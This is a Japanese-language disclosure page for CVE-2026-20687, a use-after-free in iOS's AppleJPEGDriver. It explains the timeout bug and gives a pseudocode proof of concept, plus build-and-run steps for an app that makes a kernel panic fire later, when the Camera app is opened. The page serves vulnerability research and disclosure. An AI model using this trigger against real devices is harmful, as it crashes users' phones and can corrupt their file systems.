CVE-2026-20687 — AppleJPEGDriver startDecoder タイムアウト UAF

CVE-2026-20687 · Enfilade · enfilade.io

コンポーネント: カーネル

影響: アプリが予期しないシステム終了を引き起こしたり、カーネルメモリに書き込んだりする可能性があります。

説明: メモリ管理の改善により、use after free の問題が解決されました。

— Apple セキュリティコンテンツ、iOS 26.4 および iPadOS 26.4

対象

警告

PoC を実行するとデバイスがカーネルパニックを起こします。実行前に作業を保存してください。パニックを繰り返すとファイルシステムが破損する可能性があります。セキュリティ研究目的のみに使用してください。

脆弱性

startDecoder_sync のタイムアウトパスはリクエストを解放しますが、埋め込まれたキュー・ノードポインタをコーデックごとのベクタに残します。その後のキュー走査が古いノードを逆参照し、MTE タグチェックの強制下でカーネルがパニックします。パニックは通常、後続の同期 JPEG デコードが実行されるまで延期されます。iPhone では、これはカメラアプリが開かれたときに確実に発生します。

概念実証

// ドライバを準備します。パニックは通常、カメラが開かれるまで延期されます。
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
    startDecoder_async();                   // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);

// その後、カメラを開くと以下がトリガーされます:
startDecoder_sync();
    queue_io_gated: vector.push(req + 0x78);
    wait(10s) -> TIMEOUT;
    pool_free(req);                         // BUG: (req + 0x78) をデキューしない

// さらに後（finish_io_gated）:
fullSpeedRequestExist():
    node_ptr = vector[i];                   // 古い: node_ptr == (解放済み req + 0x78)
    req2 = *(node_ptr + 0x8);               // UAF 読み取り -> MTE タグフォルト -> パニック

ビルドと実行

1. Xcode で ios-app/Test.xcodeproj を開きます。
2. 物理 iOS デバイスを選択します（シミュレータではドライバに到達できません）。
3. ビルドして実行し、Panic をタップします（ドライバを準備し、非同期処理をキューに入れます）。
4. カメラ アプリを開いて、延期されたパニックをトリガーします。

ライセンス

LICENSE を参照してください。